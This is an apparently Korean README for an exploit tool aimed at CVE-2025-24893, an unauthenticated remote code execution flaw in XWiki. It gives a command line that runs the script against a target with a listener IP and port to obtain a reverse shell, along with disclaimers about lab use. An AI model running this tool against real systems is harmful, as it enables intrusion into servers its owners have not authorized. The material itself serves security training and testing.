CVE-2025-24893

XWiki Platform은 그 위에 구축된 애플리케이션에 런타임 서비스를 제공하는 범용 위키 플랫폼입니다. SolrSearch 엔드포인트의 취약점으로 인해 인증되지 않은 사용자가 임의의 원격 코드 실행을 달성할 수 있습니다. 이 취약점은 전체 XWiki 설치의 기밀성, 무결성 및 가용성에 영향을 미칩니다.

CVE: CVE-2025-24893

데모

익스플로잇의 데모는 아래와 같습니다:

사용법

이 익스플로잇을 사용하려면 다음 단계를 따르세요:

1. 저장소를 클론합니다: git clone https://github.com/yourusername/CVE-2025-24893.git
2. 클론된 디렉토리로 이동합니다: cd CVE-2025-24893
3. 필요한 의존성을 설치합니다: pip install requests
4. 익스플로잇을 실행합니다:

./CVE-2025-24893_linux-xwiki-exploit.py  -t http(s)://[target]:(port) -l [Listener IP] -p [Listener PORT] [-hp [Local HTTP PORT]]

이 익스플로잇에 대해

이 익스플로잇은 CVE-2025-24893에 설명된 원격 코드 실행 취약점을 시연하며, 인증되지 않은 사용자가 취약한 Linux 기반 XWiki 설치에서 리버스 셸을 획득할 수 있도록 합니다.

저는 원래 이 도구를 OSCP 준비 랩이나 Hack The Box와 같은 교육 환경에서 사용하기 위해 개발했습니다. 그곳에서 취약점을 재현할 수 있는 간단하고 신뢰할 수 있는 방법을 원했기 때문입니다. 기존 도구 중 제 요구 사항을 충족하는 것이 없어 직접 만들기로 결정했습니다.

CVE-2025-24893은 지원되는 XWiki 릴리스에서 오래 전에 패치되었지만, 이 익스플로잇은 소유하고 있거나 명시적으로 테스트 권한을 부여받은 시스템에 대해서만 사용해야 합니다.

저자는 이 소프트웨어의 오용이나 사용으로 인한 손해에 대해 어떠한 책임도 지지 않습니다.

면책 조항

이 도구는 교육 목적과 승인된 보안 평가만을 위한 것입니다.

소유하고 있거나 명시적으로 테스트 권한을 부여받은 시스템에 대해서만 사용하십시오. 저자는 이 소프트웨어의 오용이나 사용으로 인한 손해에 대해 어떠한 책임도 지지 않습니다.

기여

기여를 환영합니다.

버그를 발견하거나 개선을 위한 제안이 있거나 추가 페이로드, 플랫폼 또는 기능에 대한 지원을 추가하려면 이슈를 열거나 풀 리퀘스트를 제출해 주세요.

건설적인 피드백, 테스트 보고서 및 코드 기여는 크게 감사히 받겠습니다.